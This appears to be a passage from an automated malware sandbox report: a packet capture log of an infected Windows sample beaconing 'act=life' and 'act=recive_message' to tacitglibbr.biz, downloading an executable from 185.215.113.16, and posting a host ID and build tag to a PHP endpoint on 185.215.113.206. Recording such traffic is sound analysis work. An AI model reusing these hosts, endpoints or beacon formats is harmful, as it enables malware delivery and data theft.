Dec 17, 2024 10:23:24.287883997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:23:24.287899971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:23:24.288012028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:23:24.288028002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:23:24.288044930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:23:24.288073063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 10:23:24.288170099 CET	1236	IN	Data Raw: d8 74 f0 37 00 19 ef 6c 78 08 fd f4 8e be 9b 67 e4 cd 95 57 9b 2b 21 97 54 4e 43 7a 32 cb b2 7c a0 c0 c8 cb 3d f1 75 17 d7 89 3b 61 2f 37 ff 77 6b 4f 4f 67 b7 3a 04 77 79 31 fe a0 69 47 b8 7d 6f 72 df 3a 00 3d eb 42 a4 1e 50 a1 8b 58 fe 07 c6 61 Data Ascii: t7lxgW+!TNCz2\|=u;a/7wkOOg:wy1iG}or:=BPXaKJEw10j~@Wuy}tl%n=T PKkWteL}UKO4.+qvq}nmCu?*Y28r<8IX1{Wtq2<0nzBRHTjD~r
Dec 17, 2024 10:23:24.288196087 CET	1236	IN	Data Raw: f4 75 e5 3c 4c 75 59 4d e4 68 d0 61 82 20 e3 e9 b9 28 df 60 09 2b 41 5a cb bd 38 31 6c 00 e9 37 ba 28 29 57 d9 e0 2c 2e d3 6b 6b b9 6c 75 25 37 ba 14 e5 24 08 fc 94 5b 9f d9 7e f5 c3 20 81 82 0b 21 c9 d5 80 f4 f3 b2 6c c0 50 38 fa 51 69 09 f2 b8 Data Ascii: u<LuYMha (`+AZ81l7()W,.kklu%7$[~ !lP8Qi`FXy;uHjR}<M<r+.(W"-$Iu{NkSL7VwaXbYt(uhcO8h#S8HJu6Gkl2z(k+]k<dw*W~+wL
Dec 17, 2024 10:23:24.288220882 CET	1236	IN	Data Raw: a2 52 e0 31 96 38 e5 7d a8 dd b4 37 77 5c f5 db 7c 6b 57 29 bc 45 39 92 80 16 36 1a 9d 98 8b 8b a6 1d 33 28 7e f9 36 6c ea 17 0c 7f 5b 4a 2c c2 aa 40 89 47 8c db 67 0d 6a 70 83 0d 99 0b 95 d6 f1 45 91 6a 69 17 99 30 73 82 cc 38 04 a5 3f fd 3e 66 Data Ascii: R18}7w\\|kW)E963(~6l[J,@GgjpEji0s8?>fTCNGX'mv=,`}p;bGE]}&`8"_zB\'3_EHBcB>t,HR];`7cS)uo-[9W26DKjew2&\|di$4
Dec 17, 2024 10:23:24.408102036 CET	1236	IN	Data Raw: 84 fd 0f a6 52 4c 06 81 5f d8 fb 6b 26 6c 37 58 8f 45 f3 f7 8d 4c 25 89 8a 22 11 12 83 3d 12 69 8f 3c 9b 43 b9 51 c7 be 0f 99 01 23 ad 7b e3 e9 ba 7e 80 2c a3 da 5c 79 bb 6a e7 3b a4 11 91 43 14 df 8e 2e 9e 0b 98 aa 3a 55 f2 c7 4a e7 95 ee 99 98 Data Ascii: RL_k&l7XEL%"=i<CQ#{~,\yj;C.:UJsj_TxLPL\KggV ^TTrGfd*bCHSToj'Lh-V+&Hria k}9N]&?H(\|]BhJ=?uI:FefX9$:pTIn]"Ut
Dec 17, 2024 10:23:28.602600098 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 17, 2024 10:23:29.046509981 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 09:23:28 GMT Content-Type: application/octet-stream Content-Length: 2859008 Last-Modified: Tue, 17 Dec 2024 08:55:47 GMT Connection: keep-alive ETag: "67613c93-2ba000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd dd 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTgN@O+@M$a$$ $h@.rsrc$x@.idata $\|@mtoauukx$)~@piksggksNx+@.taggant0N"~+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49788	185.215.113.206	80	7780	C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:23:38.921503067 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 17, 2024 10:23:40.266104937 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 17, 2024 10:23:40.268795013 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 32 43 46 42 37 30 32 41 44 43 35 33 35 32 38 30 30 33 31 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="hwid"D2CFB702ADC53528003197------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="build"stok------EBAAFCAFCBKFHJJJKKFH--
Dec 17, 2024 10:23:40.723593950 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	188.114.96.6	443	7024	C:\Users\user\Desktop\jYd7FUgGZc.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:22:57 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-17 09:22:57 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-17 09:22:58 UTC	1032	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7880c95mdeojnqiars9rku96r5; expires=Sat, 12-Apr-2025 03:09:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f64xXTJSfayRJB0tA6ICtckeG2rGGtP6sXXJobJ3oRimd4FECxMqqozRaVGzIdRkI7YaHzWM%2FE3Ykytwy%2BiyEodvWgTw9KHZxApbunA3w8koKTSKfCy7hrkG2i6YKf7y4Zk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35da074add435d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1602&min_rtt=1563&rtt_var=614&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=906&delivery_rate=1868202&cwnd=128&unsent_bytes=0&cid=56acfeb18fc3f06f&ts=841&x=0"
2024-12-17 09:22:58 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-17 09:22:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	188.114.96.6	443	7024	C:\Users\user\Desktop\jYd7FUgGZc.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:22:59 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-17 09:22:59 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-17 09:23:00 UTC	1036	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fadj1rgqt8trhj5dorhkmasvd3; expires=Sat, 12-Apr-2025 03:09:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZY8jRCOYbVZV0CQEe%2F1FHFrttmn4ziop0neOPUK6HknvyYeNIJzSVxkVdsxGRVljHmmGURtfUqFpXG72%2FCOiyRPc3K7h529kRv%2Bp0Xdymq2k6sHcT%2BZXdVxsR8V478PHYVc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35da142e498cb9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2042&min_rtt=2040&rtt_var=770&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=946&delivery_rate=1416787&cwnd=183&unsent_bytes=0&cid=fc25d73da261cdec&ts=850&x=0"
2024-12-17 09:23:00 UTC	333	IN	Data Raw: 33 65 37 39 0d 0a 49 4a 73 65 44 56 64 2f 2b 50 4d 71 6b 50 66 57 62 75 53 36 74 4e 37 64 39 64 47 66 4e 4d 41 42 39 50 52 69 2b 5a 74 66 71 34 35 62 75 57 67 76 62 55 76 55 30 56 6e 31 31 65 77 61 6c 73 2f 52 38 76 2b 55 74 62 30 4f 70 6d 43 59 68 77 66 56 75 53 6e 47 72 42 72 39 66 32 45 6b 47 74 54 52 54 2b 6a 56 37 44 57 66 6d 4e 47 77 2f 38 2f 7a 2b 6c 36 69 59 4a 69 57 41 35 4c 30 4c 38 66 74 53 50 64 35 5a 54 49 63 6e 4a 4a 47 2f 5a 4b 7a 43 34 58 51 32 72 65 77 6e 62 79 39 47 4f 4a 6b 6a 74 5a 59 32 39 59 36 33 2b 39 74 2b 6d 31 6d 64 51 4c 55 69 41 6a 31 6d 66 52 55 78 74 76 52 76 4c 47 54 74 66 52 63 71 47 6d 51 6c 77 61 54 36 7a 62 4e 35 6b 6a 35 65 6d 51 34 46 59 69 66 54 50 71 5a 74 51 47 46 6d 4a 6a 38 75 49 2f 7a 70 52 62 78 55 5a 57 48 45 Data Ascii: 3e79IJseDVd/+PMqkPfWbuS6tN7d9dGfNMAB9PRi+Ztfq45buWgvbUvU0Vn11ewals/R8v+Utb0OpmCYhwfVuSnGrBr9f2EkGtTRT+jV7DWfmNGw/8/z+l6iYJiWA5L0L8ftSPd5ZTIcnJJG/ZKzC4XQ2rewnby9GOJkjtZY29Y63+9t+m1mdQLUiAj1mfRUxtvRvLGTtfRcqGmQlwaT6zbN5kj5emQ4FYifTPqZtQGFmJj8uI/zpRbxUZWHE
2024-12-17 09:23:00 UTC	1369	IN	Data Raw: 43 72 33 4c 57 69 55 36 43 75 54 72 46 72 42 71 35 65 6d 45 30 45 4a 71 44 51 50 6d 65 73 52 36 4e 30 64 75 78 76 35 71 35 38 6c 57 69 5a 4a 79 63 44 35 48 39 4d 4d 54 71 51 76 6b 38 49 58 55 61 67 74 45 51 73 72 61 78 48 49 48 55 77 50 36 46 31 36 79 7a 54 2b 4a 6b 6d 74 5a 59 32 2f 45 34 79 75 39 4a 39 6e 39 6e 50 67 2b 61 67 30 37 2f 6b 4b 59 4b 67 39 62 63 76 36 32 64 76 66 74 56 71 32 69 66 6b 77 65 66 75 58 4f 4a 36 31 71 35 4a 43 38 55 45 4a 47 64 51 75 57 56 39 42 50 49 77 5a 61 37 73 39 66 72 76 56 4b 6a 5a 35 65 53 44 70 58 39 4d 63 2f 69 54 2f 5a 36 5a 54 55 61 6b 4a 6c 41 38 35 69 2f 41 34 62 64 32 37 69 35 6d 37 4c 34 46 75 77 6a 6b 59 35 41 77 37 6b 54 7a 75 39 51 75 30 6c 73 4f 78 4f 64 68 77 6a 74 32 36 31 4d 67 64 53 57 35 50 2b 5a 74 76 Data Ascii: Cr3LWiU6CuTrFrBq5emE0EJqDQPmesR6N0duxv5q58lWiZJycD5H9MMTqQvk8IXUagtEQsraxHIHUwP6F16yzT+JkmtZY2/E4yu9J9n9nPg+ag07/kKYKg9bcv62dvftVq2ifkwefuXOJ61q5JC8UEJGdQuWV9BPIwZa7s9frvVKjZ5eSDpX9Mc/iT/Z6ZTUakJlA85i/A4bd27i5m7L4FuwjkY5Aw7kTzu9Qu0lsOxOdhwjt261MgdSW5P+Ztv
2024-12-17 09:23:00 UTC	1369	IN	Data Raw: 31 70 45 59 32 36 46 39 2b 50 74 4a 75 30 6c 73 4f 78 4f 64 68 77 6a 74 32 36 31 4d 67 64 53 57 35 50 2b 61 75 2f 68 54 72 57 4b 63 6d 41 57 52 39 54 58 48 37 31 44 32 65 47 38 35 46 5a 43 63 52 76 61 64 76 51 65 4e 33 74 61 39 74 64 66 39 76 56 47 36 49 38 37 57 4e 4a 7a 31 4d 4d 61 75 64 2f 70 79 59 54 49 4c 32 6f 34 47 36 39 57 7a 41 4d 61 41 6c 72 43 32 6c 37 6a 33 55 71 4a 6b 6d 35 4d 44 6e 50 6f 77 7a 75 5a 4d 2f 6e 68 6a 50 42 43 63 6b 55 2f 32 6b 4b 59 4a 6a 39 54 61 2f 50 48 58 74 4f 55 57 2b 69 4f 35 6b 52 61 59 31 6a 37 59 35 51 4c 6d 4d 6e 5a 31 47 70 62 52 45 4c 4b 53 73 51 53 4e 33 74 36 38 72 5a 4b 39 39 6c 65 6f 5a 5a 65 62 44 4a 33 35 50 4d 6e 71 54 76 6c 37 61 43 63 50 6e 35 64 61 2b 4e 58 36 54 49 48 41 6c 75 54 2f 6f 61 50 71 52 37 51 Data Ascii: 1pEY26F9+PtJu0lsOxOdhwjt261MgdSW5P+au/hTrWKcmAWR9TXH71D2eG85FZCcRvadvQeN3ta9tdf9vVG6I87WNJz1MMaud/pyYTIL2o4G69WzAMaAlrC2l7j3UqJkm5MDnPowzuZM/nhjPBCckU/2kKYJj9Ta/PHXtOUW+iO5kRaY1j7Y5QLmMnZ1GpbRELKSsQSN3t68rZK99leoZZebDJ35PMnqTvl7aCcPn5da+NX6TIHAluT/oaPqR7Q
2024-12-17 09:23:00 UTC	1369	IN	Data Raw: 35 50 78 4d 73 62 6f 54 50 39 36 59 6a 41 53 6b 49 4e 41 2f 4a 69 2f 41 34 33 4b 31 72 47 37 6d 37 66 31 58 61 67 6a 32 4e 59 48 67 37 6c 6c 69 64 6c 50 39 6e 78 73 49 31 32 46 33 31 47 79 6b 72 68 4d 33 70 6a 61 73 72 2b 59 76 2f 46 64 71 6d 4b 61 6d 41 65 65 38 44 58 42 2f 6b 50 39 64 47 34 37 45 70 75 56 54 66 65 52 73 77 69 41 31 35 62 79 2f 35 43 72 76 51 37 69 54 4c 47 6a 51 72 72 44 66 64 61 69 57 37 6c 37 59 33 56 46 32 70 31 4c 2f 70 32 37 43 6f 2f 55 33 4c 57 30 6d 37 6a 35 57 71 74 6d 6b 4a 63 46 6e 76 67 35 78 65 5a 45 2b 6e 39 67 4f 68 4b 53 30 51 61 79 6b 71 78 4d 33 70 6a 7a 71 37 53 5a 74 62 31 4a 37 48 72 57 6b 51 7a 62 6f 58 33 46 35 55 54 2f 65 57 4d 30 47 35 4b 55 51 50 61 55 73 67 71 46 31 39 4b 35 76 70 69 33 38 56 69 6f 59 70 65 61 Data Ascii: 5PxMsboTP96YjASkINA/Ji/A43K1rG7m7f1Xagj2NYHg7llidlP9nxsI12F31GykrhM3pjasr+Yv/FdqmKamAee8DXB/kP9dG47EpuVTfeRswiA15by/5CrvQ7iTLGjQrrDfdaiW7l7Y3VF2p1L/p27Co/U3LW0m7j5WqtmkJcFnvg5xeZE+n9gOhKS0QaykqxM3pjzq7SZtb1J7HrWkQzboX3F5UT/eWM0G5KUQPaUsgqF19K5vpi38VioYpea
2024-12-17 09:23:00 UTC	1369	IN	Data Raw: 72 47 36 45 58 31 65 6d 41 7a 48 4a 2b 62 52 50 57 51 76 77 4f 4b 6d 4a 6a 38 75 49 2f 7a 70 52 61 4d 61 49 57 42 41 35 58 79 4b 39 4b 73 58 62 64 6c 4c 7a 49 52 32 73 6b 49 38 5a 36 2f 43 49 62 55 31 72 69 79 6c 36 48 79 55 61 56 71 6e 59 51 4b 6e 50 34 32 77 65 64 4e 2f 32 35 6a 4f 77 2b 66 67 31 71 79 32 2f 51 4c 6e 70 69 4f 2f 49 6d 51 6f 2b 31 56 34 46 4b 41 6c 52 61 51 39 44 47 4a 38 77 7a 67 50 47 67 35 58 63 4c 52 54 76 32 63 74 77 4f 48 30 64 71 78 75 70 36 32 2f 46 43 6d 61 5a 79 57 42 70 33 34 4f 4d 50 76 51 2f 4e 31 61 44 30 61 6d 59 4d 49 76 4e 57 7a 46 4d 61 41 6c 70 57 34 68 62 33 74 46 72 30 74 6a 39 59 48 6c 37 6c 6c 69 65 68 49 39 6e 68 6f 4f 52 75 66 6c 30 58 7a 6d 72 55 4d 69 64 7a 64 74 62 6d 57 76 76 68 62 70 6e 47 63 6e 51 2b 58 38 Data Ascii: rG6EX1emAzHJ+bRPWQvwOKmJj8uI/zpRaMaIWBA5XyK9KsXbdlLzIR2skI8Z6/CIbU1riyl6HyUaVqnYQKnP42wedN/25jOw+fg1qy2/QLnpiO/ImQo+1V4FKAlRaQ9DGJ8wzgPGg5XcLRTv2ctwOH0dqxup62/FCmaZyWBp34OMPvQ/N1aD0amYMIvNWzFMaAlpW4hb3tFr0tj9YHl7lliehI9nhoORufl0XzmrUMidzdtbmWvvhbpnGcnQ+X8
2024-12-17 09:23:00 UTC	1369	IN	Data Raw: 48 38 33 46 73 4f 68 36 49 6b 45 37 67 6c 62 6b 47 6c 4e 4c 64 75 62 4b 61 76 76 35 51 70 47 69 61 68 41 6d 62 2b 6a 61 4a 6f 67 4c 2b 5a 43 39 74 58 62 6d 47 58 76 69 53 75 42 71 4e 32 64 57 71 73 6f 66 7a 73 78 61 7a 5a 49 66 57 57 49 33 70 4b 73 37 7a 44 4f 41 38 61 44 6c 64 77 74 46 4f 2b 35 4f 7a 43 6f 6a 4b 30 37 71 77 6d 4c 72 30 55 71 70 67 6c 70 49 45 6e 50 77 2b 78 65 64 46 2b 6e 4e 72 50 42 4f 54 6e 67 69 38 31 62 4d 55 78 6f 43 57 6e 61 53 55 76 2f 41 57 76 53 32 50 31 67 65 58 75 57 57 4a 34 45 7a 38 66 47 55 7a 47 5a 2b 58 51 76 65 56 76 77 2b 4a 33 4e 43 34 73 4a 65 34 39 46 65 6b 5a 70 79 64 42 70 62 36 4f 38 2b 73 44 4c 6c 37 64 33 56 46 32 72 46 54 2f 35 6d 7a 54 4a 6d 57 7a 2f 79 34 6d 2f 4f 6c 46 71 6c 76 6b 70 45 41 6c 76 6f 31 7a 4f Data Ascii: H83FsOh6IkE7glbkGlNLdubKavv5QpGiahAmb+jaJogL+ZC9tXbmGXviSuBqN2dWqsofzsxazZIfWWI3pKs7zDOA8aDldwtFO+5OzCojK07qwmLr0UqpglpIEnPw+xedF+nNrPBOTngi81bMUxoCWnaSUv/AWvS2P1geXuWWJ4Ez8fGUzGZ+XQveVvw+J3NC4sJe49FekZpydBpb6O8+sDLl7d3VF2rFT/5mzTJmWz/y4m/OlFqlvkpEAlvo1zO
2024-12-17 09:23:00 UTC	1369	IN	Data Raw: 62 42 6f 65 69 35 67 49 76 4e 57 7a 47 73 61 41 6c 6f 4c 2f 68 62 44 74 56 61 31 79 71 4e 5a 59 67 73 64 39 77 76 70 46 36 58 39 35 50 68 43 57 67 48 61 79 7a 65 42 65 31 49 71 45 37 71 44 58 72 4d 49 59 34 6d 4c 57 7a 6a 6d 43 75 53 75 4a 74 42 43 33 50 48 31 31 52 64 72 57 53 2b 43 48 73 67 2b 51 32 35 47 43 67 62 43 6c 39 31 47 79 5a 49 47 5a 51 4e 57 35 4d 6f 6d 30 65 37 6c 31 61 43 34 4d 6a 4a 78 59 39 64 57 4c 51 73 62 41 6c 75 54 2f 6f 72 44 7a 57 4b 56 31 68 39 73 6e 6a 66 4d 36 32 65 74 56 39 6a 77 68 64 52 76 61 79 52 75 38 31 62 41 64 78 6f 43 47 37 75 54 43 34 4b 6f 47 38 48 7a 59 6a 30 43 4e 75 57 57 62 6f 67 4c 72 50 44 64 31 57 70 6d 44 57 76 53 57 6f 67 2f 42 35 75 69 62 70 5a 71 31 36 6b 65 63 58 5a 47 4d 44 5a 33 75 4c 49 58 35 51 66 64 Data Ascii: bBoei5gIvNWzGsaAloL/hbDtVa1yqNZYgsd9wvpF6X95PhCWgHayzeBe1IqE7qDXrMIY4mLWzjmCuSuJtBC3PH11RdrWS+CHsg+Q25GCgbCl91GyZIGZQNW5Mom0e7l1aC4MjJxY9dWLQsbAluT/orDzWKV1h9snjfM62etV9jwhdRvayRu81bAdxoCG7uTC4KoG8HzYj0CNuWWbogLrPDd1WpmDWvSWog/B5uibpZq16kecXZGMDZ3uLIX5Qfd
2024-12-17 09:23:00 UTC	1369	IN	Data Raw: 64 54 52 54 72 4c 4e 35 45 4c 47 33 4d 66 38 35 38 66 68 70 67 50 78 4e 4d 62 45 48 39 58 67 66 64 2b 73 47 71 73 79 4c 79 64 64 77 74 45 50 38 59 65 6d 43 6f 58 4f 31 66 75 42 71 5a 54 7a 55 61 4e 31 68 6f 45 50 70 63 63 6f 79 75 4a 4d 2f 6d 70 2b 64 56 50 61 6e 67 69 71 72 50 52 45 78 75 65 59 2f 4b 66 58 36 37 31 6a 6f 57 32 59 6b 52 61 4b 74 42 72 48 36 30 50 76 62 48 67 36 58 64 54 52 54 72 4c 4e 35 6b 4c 47 33 4d 66 38 35 38 66 68 70 67 50 78 4e 4d 62 45 48 39 58 67 66 64 2b 73 47 71 73 79 4c 79 64 64 77 74 45 50 38 59 65 6d 43 6f 58 4f 31 66 75 42 71 5a 54 7a 55 61 4e 31 68 6f 45 50 31 4e 63 4c 36 4e 4a 38 37 48 39 68 4f 78 71 4d 67 41 69 38 31 62 74 4d 33 75 47 57 39 50 2b 6f 2f 62 31 4f 34 6a 76 57 6f 77 4f 56 39 7a 72 66 2f 51 2f 65 63 6d 67 30 Data Ascii: dTRTrLN5ELG3Mf858fhpgPxNMbEH9Xgfd+sGqsyLyddwtEP8YemCoXO1fuBqZTzUaN1hoEPpccoyuJM/mp+dVPangiqrPRExueY/KfX671joW2YkRaKtBrH60PvbHg6XdTRTrLN5kLG3Mf858fhpgPxNMbEH9Xgfd+sGqsyLyddwtEP8YemCoXO1fuBqZTzUaN1hoEP1NcL6NJ87H9hOxqMgAi81btM3uGW9P+o/b1O4jvWowOV9zrf/Q/ecmg0
2024-12-17 09:23:00 UTC	1369	IN	Data Raw: 72 31 68 62 64 4f 74 39 58 53 71 71 71 55 6f 2f 70 6f 6e 45 36 45 6b 52 43 59 75 77 7a 66 37 30 4c 33 65 79 39 37 58 59 4c 52 45 4c 4b 34 70 67 75 57 32 35 62 79 2f 35 76 7a 70 52 61 76 63 5a 47 47 41 39 66 2b 4a 38 36 73 58 62 64 6c 4c 79 4e 64 77 73 49 47 73 6f 66 30 56 4d 61 66 32 4c 47 2b 6c 4c 33 2b 52 4c 42 6c 6c 59 41 44 33 4d 63 44 35 50 35 46 36 58 38 74 42 42 43 65 68 31 33 78 68 62 4d 79 75 50 58 45 75 36 2b 55 38 64 46 52 72 32 2b 6f 71 44 65 4b 2f 69 32 4c 79 6b 48 76 66 79 39 37 58 59 4c 52 45 4c 4b 34 70 67 75 57 32 35 53 51 75 4a 71 2f 76 55 6e 73 65 74 61 41 51 4d 4f 71 63 34 6e 2b 41 71 45 38 4b 44 59 50 69 4a 64 4c 35 4a 62 7a 4d 72 6a 31 78 4c 75 76 6c 50 48 4d 57 36 5a 31 67 35 55 51 6e 4d 63 44 35 50 35 46 36 58 38 74 45 43 66 59 6f Data Ascii: 